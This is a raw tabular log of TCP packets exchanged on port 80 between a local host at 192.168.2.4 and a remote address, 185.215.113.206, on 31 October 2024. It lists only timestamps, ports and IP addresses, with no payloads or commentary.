Oct 31, 2024 11:27:21.865725994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865767956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865768909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865782022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865808010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865828037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.865933895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865946054 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865957022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865969896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.865978956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866015911 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866060019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866072893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866100073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866127968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866713047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866759062 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866780996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866795063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866831064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866852045 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866930962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866945028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866956949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866969109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.866971970 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866996050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.866998911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867012024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867026091 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867058992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867734909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867747068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867758036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867789984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867809057 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867829084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867841005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867851973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867863894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867870092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867887974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867916107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867928028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867953062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.867969036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.867994070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.868702888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.868715048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.868726015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.868767977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.868799925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.868824005 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.868834972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.868845940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.868858099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.868869066 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.868901968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.868992090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.869005919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.869035006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.869061947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:21.982172966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:21.982244015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.020795107 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020812988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020826101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020838022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020849943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020863056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020883083 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.020886898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020905972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020915985 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.020920992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020932913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020946026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020956039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.020958900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020972967 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.020977974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.020987034 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021001101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021013021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021015882 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021025896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021049023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021049023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021068096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021070957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021084070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021095991 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021096945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021109104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021121025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021121025 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021133900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021140099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021150112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021151066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021163940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021174908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021188021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021189928 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021205902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021214962 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021219015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021230936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021236897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021248102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021260977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021275043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021276951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021287918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021301031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021306992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021312952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021327019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021327019 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021341085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021348953 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021367073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021373987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021385908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021399021 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021399975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021413088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021421909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021461964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021538973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021552086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021579981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021610022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021713018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021724939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021743059 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021753073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021754026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021769047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021771908 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021790981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021811008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021867990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021879911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021891117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.021919966 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.021936893 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.022433996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022445917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022490978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.022624969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022643089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022654057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022665977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022670031 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.022680044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022699118 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.022725105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.022758007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022772074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022784948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022799969 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.022821903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.022932053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022947073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022962093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.022974968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.023010969 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.023104906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.023148060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.023648024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.023662090 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.023675919 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.023700953 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.023727894 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.023766041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.023778915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.023792982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.023811102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.023837090 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.024113894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.024127007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.024141073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.024163008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.024200916 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.024262905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.024275064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.024281025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.024293900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.024327040 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.024350882 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.034467936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.034481049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.034569025 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.034579039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.034627914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.034749985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.034802914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.099638939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.099654913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.099664927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.099733114 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.099795103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.139064074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.139133930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.139182091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.139223099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174369097 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174381971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174391985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174447060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174496889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174499989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174509048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174520016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174555063 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174592972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174673080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174685001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174698114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174709082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174717903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174760103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174843073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174853086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174861908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174873114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174889088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174895048 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174901962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.174923897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.174943924 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175179958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175189972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175199032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175209045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175220966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175228119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175231934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175254107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175276995 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175299883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175311089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175344944 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175378084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175479889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175491095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175501108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175512075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175523043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175530910 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175575972 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175601959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175646067 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175681114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175693035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175703049 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.175729036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.175762892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176023960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176033974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176044941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176057100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176067114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176070929 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176078081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176116943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176162958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176175117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176184893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176193953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176209927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176234007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176481962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176491976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176531076 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176672935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176683903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176695108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176722050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176745892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176839113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176850080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176860094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176871061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.176891088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.176925898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177035093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177046061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177056074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177082062 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177102089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177143097 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177186012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177330971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177341938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177350998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177364111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177373886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177378893 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177417994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177455902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177469015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177478075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177489996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177499056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.177501917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177526951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.177548885 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181607008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181628942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181668043 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181689978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181759119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181773901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181783915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181793928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181804895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181811094 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181818008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181830883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181840897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181854010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181857109 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181864977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181876898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181883097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181890011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181905985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181909084 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181920052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181931973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181936026 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181942940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181955099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181960106 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:22.181966066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181977987 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:22.181993008 CET	49757	80	192.168.2.4	185.215.113.206
